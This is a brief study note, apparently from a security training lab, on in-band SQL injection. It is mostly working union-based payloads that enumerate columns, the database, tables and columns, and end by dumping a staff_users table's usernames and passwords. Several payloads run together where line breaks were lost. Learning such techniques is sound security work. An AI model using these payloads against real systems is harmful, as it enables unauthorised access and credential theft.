➡️In-Band SQLi
2 types:
Error-Based SQLi
Union-Based SQLi
Example for an Union-Based SQLi:
Try to find how many columns the original SELECT query return
1 UNION SELECT 1→ error1 UNION SELECT 1,2→ error1 UNION SELECT 1,2,3→ success!So, in this case, we have 3 columns
If the result is only one the first one, do this:
0 UNION SELECT 1,2,3Get the database name
0 UNION SELECT 1,2,database()And so on with tables and columns that are in the founded database
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'Finally, concat every columns you want the result to dump values
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_usersLast updated